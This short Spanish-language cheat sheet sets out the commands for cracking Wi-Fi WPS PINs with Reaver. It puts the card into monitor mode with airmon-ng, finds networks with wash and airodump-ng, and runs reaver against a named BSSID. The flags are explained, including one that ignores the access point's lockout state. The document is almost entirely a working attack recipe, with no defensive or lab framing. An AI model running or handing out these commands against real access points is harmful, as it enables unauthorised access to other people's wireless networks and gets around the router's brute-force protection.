Reaver

airmon-ng start wlan0

wash -i mon0

reaver -i mon0 -b 30:46:9A:7C:C4:CA -vv -c 8

iwconfig

airmon-ng start wlan0

airodump-ng mon0

reaver -i mon0 -vv -b (BSSID del target del AP ) -S -L

1
2
3
4
5
-vv: para indicarle que nos muestre como va haciendo su trabajo.
-i: el interface.
-b: BSSID del target del AP.
-S: para que utilice claves pequeñas DH para mejorar la velocidad.
-L: para ignorar el estado locked que nos envía el AP.